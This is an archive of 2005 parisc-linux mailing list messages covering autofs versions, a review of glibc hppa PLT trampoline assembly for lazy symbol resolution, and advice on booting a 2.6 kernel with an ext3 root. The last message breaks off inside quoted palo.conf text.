Message-ID: <e6eae029050228113747d4b4c0__31281.5385907472$1416623681$gmane$org@mail.gmail.com>
References: <e6eae029050224223617c7a121@mail.gmail.com>
	<Pine.LNX.4.43L0.0502251737110.22285-100000@charity.cs.utah.edu>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623681 12832 80.91.229.3 (22 Nov 2014 02:34:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Christopher Strong <strong@cs.utah.edu>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Feb 2005 19:38:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 28 Feb 2005 20:38:04 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EEA497D651;
	Mon, 28 Feb 2005 12:38:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13802-04; Mon, 28 Feb 2005 12:38:51 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AE297D64C;
	Mon, 28 Feb 2005 12:38:51 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5A6F7D644
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Feb 2005 12:38:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13123-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Feb 2005 12:38:45 -0700 (MST)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.197])
	by free.linux.hp.com (Postfix) with ESMTP id 563187D643
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Feb 2005 12:38:45 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id 36so1090222wra
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Feb 2005 11:37:54 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references;
	b=BP+zHI+gEQ9PX8Mw5Ri+Bu1GH/d9KangkwMOJHpZxUMeRWnvlvEtN2bkdzt68mkmDlj/wWUKBtatqmK3xaa5GGr/RKuJ+VvW4JoNxDgjXVDjK8YY8DkjuSumLAhOy4g+jXtQMQcz8hkP+8plmWLAGJhZoSlJPEqG6cs91NL8TT0=
Original-Received: by 10.54.28.43 with SMTP id b43mr74268wrb;
	Mon, 28 Feb 2005 11:37:54 -0800 (PST)
Original-Received: by 10.54.57.13 with HTTP; Mon, 28 Feb 2005 11:37:53 -0800 (PST)
In-Reply-To: <Pine.LNX.4.43L0.0502251737110.22285-100000@charity.cs.utah.edu>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fB9IKmVYTlIv47eQeGhrSVVGU2poZVkI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22386

On Fri, 25 Feb 2005 17:44:52 -0700 (MST), Christopher Strong
<strong@cs.utah.edu> wrote:
> 
> > I'm currently using the 'stable' release version of autofs on my Debian/testing
> > system for the time being - at least that one works for me.
> 
> Okay, I have it working now with that version, though not at all with the
> "unstable" or "testing" versions.

It seems a new version of autofs ('4.1.3+4.1.4beta2-2') went into testing.
This one is working fine for me.

  Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Comments?
Date: Wed, 2 Mar 2005 14:21:17 -0500
Lines: 220
Approved: news@gmane.org
Message-ID: <20050302192111.GN23803@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623681 12836 80.91.229.3 (22 Nov 2014 02:34:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
 Randolph Chung <tausq@debian.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Mar 2005 19:21:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 02 Mar 2005 20:21:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 990307D64B;
	Wed,  2 Mar 2005 12:22:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26720-05; Wed, 2 Mar 2005 12:22:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 959967D641;
	Wed,  2 Mar 2005 12:22:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06A7A7D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 12:22:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26720-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 Mar 2005 12:22:14 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 135397D626
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 12:22:14 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1D6ZPK-000124-00; Wed, 02 Mar 2005 14:21:18 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Xn5NKppuTlIv47eQeGhrSVVGU2poZdmE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22387


jda, tausq,

Comments on the assembly? 

I'm cleaning up the libc trampoline routines that are called during lazy
symbol resolution. We need to make changes to the profile version in
order to support library auditing.

The complete mechanics of this function call aren't that important, I'm
looking for comments on any ABI bits I missed.

For those that like to know mechanics:

a. In early ELF setup code we know we are going to use _dl_fixup from
   a particular shared object, so we plunk down the ltp for that code
   into the PLT.

b. Then when you call a function that hasn't been resolved you get
   bounced through the PLT to the trampoline, and not the function.
   This is lazy resolution. At startup we didn't bother to bind all
   the symbols, instead we filled the PLT with bounces to the trampoline
   routine (and eventually this leads to symbol resolution).

c. The bounce from the PLT to the trampoline is a bit of code at the
   end of the PLT. It loads up the following parameters and calls the
   trampoline with a non-standard non-abi function call (it doesn't 
   make a stack/frame or use the proper registers).

   Trampoline parameters:
	r19 = Relocation offset.
	r20 = Somwhere in the GOT (used to get your own link_map)
	r21 = _dl_fixup's PIC register value (ltp)

   Trampoline calls _dl_fixup with:
	r26 = got[1] (your own link_map)
	r25 = relocation offset

   If you are profiling:
	r24 = contains your rp.
	The stack has all the library auditing parameters.

d. _dl_fixup uses the relocation offset, and the link_map to find the
   symbol you need. Then it sets up the PLT so this doesn't happen
   again and then returns. 

   If we are profiling, there is the posibility that the code can call
   one of two functions PLTENTER or PLTEXIT. That is a user can register
   a set of functions to be called as you enter the PLT and as you exit 
   the PLT. This allows user code to audit the loading process.

   TODO: Working on this last bit, hence the note in the assemble.

e. Walking the bottom half of the trampoline restores the users
   arguments they were passing to the function in the first place
   and continues execution.

---

/* PLT trampolines. hppa version.
   Copyright (C) 2005 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, write to the Free
   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
   02111-1307 USA.  */

#include <sysdep.h>

/* This code gets called via the .plt stub, and is used in
   dl-runtime.c to call the `_dl_fixup' function and then redirect 
   to the    address it returns. `_dl_fixup' takes two
   arguments, however `_dl_profile_fixup' takes a number of 
   parameters for use with library auditing (LA).
   
   WARNING: This template is also used by gcc's __cffc, and expects
   that the "bl" for _dl_runtime_resolve exist at a particular offset.
   Do not change this template without changing gcc, while the prefix
   "bl" should fix everything so gcc finds the right spot, it will
   slow down __cffc when it attempts to call fixup to resolve function
   descriptor references. Please refer to gcc/gcc/config/pa/fptr.c
   
   Enter with r19 = reloc offset, r20 = got-8, r21 = fixup ltp.  */

	/* FAKE bl to provide gcc's __cffc with fixup loc. */
	.text
	bl	_dl_fixup, %r2
        .text
        .align 4
        .global _dl_runtime_resolve
        .type _dl_runtime_resolve,@function
_dl_runtime_resolve:
        .PROC
        .CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=3
        .ENTRY
        /* SAVE_RP says we do */
        stw %rp, -20(%sr0,%sp)

 	/* Save argument registers in the call stack frame. */
	stw	%r26,-36(%sp)
	stw	%r25,-40(%sp)
	stw	%r24,-44(%sp)
	stw	%r23,-48(%sp)

	/* Build a call frame, and save structure pointer. */
	copy	%sp, %r26	/* Copy previous sp */
	stwm	%r28,64(%sp)

	/* Fillin some frame info to follow ABI */
	stw	%rp,-20(%sp)	/* Set a reasonable rp */
	stw	%r26,-4(%sp)	/* Save previous sp */

 	/* Set up args to fixup func, needs only two arguments  */
	ldw	8+4(%r20),%r26		/* (1) got[1] == struct link_map */
	copy	%r19,%r25		/* (2) reloc offset  */

 	/* Call the real address resolver. */
	bl	_dl_fixup,%r2
	copy	%r21,%r19		/* set fixup func ltp */

	/* Load up the returned func ptr */
	ldw	0(%ret0),%r22		
	ldw	4(%ret0),%r19

	/* Adjust the stack */
	ldwm	-64(%sp),%r28

	/* Reload arguments. */
	ldw	-36(%sp),%r26
	ldw	-40(%sp),%r25
	ldw	-44(%sp),%r24
	ldw	-48(%sp),%r23

	/* Return */
	bv	%r0(%r22)
	ldw	-20(%sp),%r2
        .EXIT
        .PROCEND
	.size   _dl_runtime_resolve, . - _dl_runtime_resolve


	/* FIXME:
		Need to largely rewrite the bottom half of
		this code in order to save and restore the
		LA struct from the stack along with
		interpreted parameters.
	*/
        .text
        .align 4
        .global _dl_runtime_profile
        .type _dl_runtime_profile,@function
_dl_runtime_profile:
        .PROC
        .CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=3
        .ENTRY
        /* SAVE_RP says we do */
        stw %rp, -20(%sr0,%sp)

 	/* Save argument registers in the call stack frame. */
	stw	%r26,-36(%sp)
	stw	%r25,-40(%sp)
	stw	%r24,-44(%sp)
	stw	%r23,-48(%sp)

	/* Build a call frame, and save structure pointer. */
	copy	%sp, %r26	/* Copy previous sp */
	stwm	%r28,64(%sp)

	/* Fillin some frame info to follow ABI */
	stw	%rp,-20(%sp)	/* Set a reasonable rp */
	stw	%r26,-4(%sp)	/* Save previous sp */

 	/* Set up args to fixup func, needs three arguments  */
	ldw	8+4(%r20),%r26		/* (1) got[1] == struct link_map */
	copy	%r19,%r25		/* (2) reloc offset  */
	copy    %rp,%r24		/* (3) profile_fixup needs rp */

 	/* Call the real address resolver. */
	bl	_dl_profile_fixup,%rp
	copy	%r21,%r19		/* set profile_fixup func ltp */

	/* Load up the returned func ptr */
	ldw	0(%ret0),%r22		
	ldw	4(%ret0),%r19

	/* Adjust the stack */
	ldwm	-64(%sp),%r28

	/* Reload arguments. */
	ldw	-36(%sp),%r26
	ldw	-40(%sp),%r25
	ldw	-44(%sp),%r24
	ldw	-48(%sp),%r23

	/* Return */
	bv	%r0(%r22)
	ldw	-20(%sp),%r2
        .EXIT
        .PROCEND
	.size   _dl_runtime_profile, . - _dl_runtime_profile



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Wed, 2 Mar 2005 14:41:44 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200503021941.j22Jfi27010862@hiauly1.hia.nrc.ca>
References: <20050302192111.GN23803@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623681 12839 80.91.229.3 (22 Nov 2014 02:34:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Mar 2005 19:42:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 02 Mar 2005 20:42:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB6027D64B;
	Wed,  2 Mar 2005 12:43:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26971-04; Wed, 2 Mar 2005 12:43:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E72B67D64E;
	Wed,  2 Mar 2005 12:43:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 446DC7D644
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 12:43:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26780-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 Mar 2005 12:43:11 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id AEA267D626
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 12:43:11 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j22JfihF010864; Wed, 2 Mar 2005 14:41:45 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j22Jfi27010862;
	Wed, 2 Mar 2005 14:41:44 -0500 (EST)
In-Reply-To: <20050302192111.GN23803@baldric.uwo.ca> from "Carlos O'Donell" at
	Mar 2, 2005 02:21:17 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: T3tNKooGTlIv47eQeGhrSVVGU2poZZnK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22388

> 	/* Build a call frame, and save structure pointer. */
> 	copy	%sp, %r26	/* Copy previous sp */
> 	stwm	%r28,64(%sp)

r28?  I'm thinking that the static chain (r29) and struct value
(r28) registers need to be saved as well as r23-r26.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "cbeerse@gmail.com" <cbeerse@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Upgrading from 2.4 to 2.6
Date: Wed, 02 Mar 2005 11:28:04 +0100
Lines: 194
Approved: news@gmane.org
Message-ID: <42259534.6080500__32712.5654941939$1416623681$gmane$org@gmail.com>
References: <FHEGKPBPFFGIFBGOANOKMENIEPAA.h.cochran@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623681 12842 80.91.229.3 (22 Nov 2014 02:34:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Harry Cochran <h.cochran@comcast.net>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Mar 2005 10:28:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx061) with SMTP; 02 Mar 2005 11:28:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C32F07D641;
	Wed,  2 Mar 2005 03:28:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22877-10; Wed, 2 Mar 2005 03:28:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D53987D642;
	Wed,  2 Mar 2005 03:28:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 366407D63B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 03:28:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22877-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 Mar 2005 03:28:44 -0700 (MST)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194])
	by free.linux.hp.com (Postfix) with ESMTP id 8D2B77D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 03:28:44 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id 69so99914wra
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 02 Mar 2005 02:27:51 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:user-agent:x-accept-language:mime-version:to:cc:subject:references:in-reply-to:content-type:content-transfer-encoding;
	b=sOYeK3DpCUrz8dCEHgpqW+/ey1bF+9WEA3qKXPcURhi9wdwyoY3dGoSGY8qKCBV2QjiRqNfKgc5NPxQQMZ7IKp8uJXPzmD9OqD7eO6brp6cUXz7m177xuqoeS2l+66W1tAyt4gVmFAnxjk2rIbDDBKC+lwvi9awVs55XrtNa49A=
Original-Received: by 10.54.22.34 with SMTP id 34mr60039wrv;
	Wed, 02 Mar 2005 02:27:50 -0800 (PST)
Original-Received: from ?130.78.75.214? ([193.172.135.148])
	by smtp.gmail.com with ESMTP id d74sm150445wra.2005.03.02.02.27.49;
	Wed, 02 Mar 2005 02:27:50 -0800 (PST)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
	rv:1.7.3) Gecko/20040910
X-Accept-Language: en-us, en
In-Reply-To: <FHEGKPBPFFGIFBGOANOKMENIEPAA.h.cochran@comcast.net>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UvlOKpk0TlIv47eQeGhrSVVGU2poZZkb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22389

Harry Cochran wrote:

> Thanks for your input. Could it really be true that the "stable" version of
> 2.6 (2.6.8-2-32-smp) can't recognize an ext3 root partition? The only way I
> know to "load a new kernel" since I can only boot fromt he install cd is to
> blow away what I have spent a lot of time building. Seems like I'm missing
> something.

Yes, that is true. IF the ext3 filesystem is not built into the kernel (but 
compiled as a module) then the system cannot use that as the root filesystem. 
Its a kind of chicken and egg problem: the kernel needs to know the filesystem 
to access the modules.

You donnot need to put away a lot: If ext2 is buld-in and ext3 is not, just 
update (downdate...) /etc/fstab to indicate that root is in ext2. I expect ext3 
is readable as ext2 too. If needed you might need to downgrade the root to ext2 
(with `tune2fs`, remove the journalling stuff).

An other idea is to use an other machine to put a kernel on the boot-partition 
that can read ext3.

Then, you can also try to load the ext3 module (or any other module) from an 
other medium like tape, cdrom or network, if the kernel can use that.


Success

CBee



> 
> -----Original Message-----
> From: cbeerse@gmail.com [mailto:cbeerse@gmail.com]
> Sent: Thursday, February 24, 2005 4:46 AM
> To: Harry Cochran
> Subject: Re: [parisc-linux] Upgrading from 2.4 to 2.6
> 
> 
> Harry Cochran wrote:
> 
> 
>>Hi,
>>
>>	Could someone please help me recover from a failed attempt to upgrade my
>>J6000 to 2.6?
>>
>>	Looks like I can't boot the 2.4 kernel I have on the system because it's
>>name doesn't end in 32 or 64 (it ends in smp) -><-.
>>
>>	My J6000 has a cd-rom, so I thought maybe I could boot from that, but sea
>>ipl doesn't find it.
>>
>>Here's my original question:
>>
>>*************
>>
>>	Sorry for the newbie question, but I'm trying to boot 2.6 and I don't
> 
> quite
> 
>>understand how to set up the "root=" for it.
> 
> 
> With palo, the partition/mount info is also important: some directories are
> relative to the boot-partition, others are relative to the root partition.
> 
> 
>>My palo.conf says:
>>--command line=1/boot/vmlinux root=/dev/sda3 HOME=/ initrd=/initrd.img
>>console=ttyS0 TERM=vt102
>>--recoverykernel=/boot/vmlinux
> 
> 
> This recovery-kernel is relative to the run-time root.
> Be noted, this kernel is moved to the palo-partition (/dev/sda0) when
> running
> `palo`. Best to use the distro's kernel for this, alternative, a kernel that
> sure works for recovery purposes. Most systems have /boot/vmlinux a softlink
> to
> the prefered kernel, which most times is not the recovery kernel...
> 
> 
>>--init-partitioned=/dev/sda
>>
>>Here's what my palo.conf generates on boot right now:
